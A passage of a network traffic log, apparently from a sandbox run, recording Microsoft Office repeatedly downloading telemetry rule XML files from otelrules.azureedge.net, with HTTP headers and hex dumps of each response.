2024-12-06 14:53:31 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.7	49869	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:31 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:31 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:31 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: d00fcd24-f01e-0096-3fd4-4510ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145331Z-1746fd949bd6zq92hC1EWRry48000000048000000000hvs7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:31 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.7	49870	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:31 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:32 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:32 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 608090c1-401e-000a-38cc-454a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145332Z-1746fd949bdlnsqphC1EWRurw000000004900000000051u8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:32 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.7	49871	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:32 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:32 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:32 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: 24302b2d-201e-005d-53cc-45afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145332Z-1746fd949bdw2rg8hC1EWR11u400000004q0000000005q85 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:32 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.7	49872	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:32 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:33 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:32 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: 2026138b-c01e-008e-05a0-467381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145332Z-1746fd949bdkw94lhC1EWRxuz400000004mg0000000025sg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:33 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.7	49873	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:33 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:34 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:33 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: 4ebd02f3-101e-0028-39cb-458f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145333Z-1746fd949bd9x4mhhC1EWRb76n00000004fg000000003n1n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:34 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.7	49874	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:33 UTC	192	OUT	GET /rules/rule700151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:34 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:34 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0A2434F" x-ms-request-id: 4530e50a-901e-005b-7a5b-472005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145334Z-1746fd949bdkw94lhC1EWRxuz400000004kg000000006axv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:34 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOn

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.7	49875	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:34 UTC	192	OUT	GET /rules/rule700150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:34 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:34 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE54CA33F" x-ms-request-id: 90383faa-401e-0015-6999-460e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145334Z-1746fd949bdmv56chC1EWRypnn00000004n00000000000e5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:34 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e 65 4e 6f 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOneNote" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.7	49876	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:34 UTC	192	OUT	GET /rules/rule703451v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:35 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:34 GMT Content-Type: text/xml Content-Length: 1409 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFC438CF" x-ms-request-id: ffaa01a2-b01e-0053-71d2-45cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145334Z-1746fd949bdxk6n6hC1EWRdr8c000000044000000000mu3a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:35 UTC	1409	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703451" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTo

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.7	49877	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:34 UTC	192	OUT	GET /rules/rule703450v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:35 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:35 GMT Content-Type: text/xml Content-Length: 1372 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6669CA7" x-ms-request-id: 00b569ce-a01e-000d-31cc-45d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145335Z-1746fd949bd9x4mhhC1EWRb76n00000004dg00000000aw43 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:35 UTC	1372	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703450" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOfficeMobile" S="Medium" /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.7	49878	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:35 UTC	192	OUT	GET /rules/rule700901v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:36 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:35 GMT Content-Type: text/xml Content-Length: 1408 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1038EF2" x-ms-request-id: 5188202c-b01e-003e-05cd-458e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145335Z-1746fd949bdwt8wrhC1EWRu6rg00000004fg00000000ebrq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:36 UTC	1408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700901" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.7	49879	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:36 UTC	192	OUT	GET /rules/rule700900v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:36 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:36 GMT Content-Type: text/xml Content-Length: 1371 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:06 GMT ETag: "0x8DC582BED3D048D" x-ms-request-id: 24400213-201e-005d-7ed2-45afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145336Z-1746fd949bdlnsqphC1EWRurw0000000046g00000000dn76 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:36 UTC	1371	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6f 66 69 6e 67 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700900" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProofing" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.7	49880	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
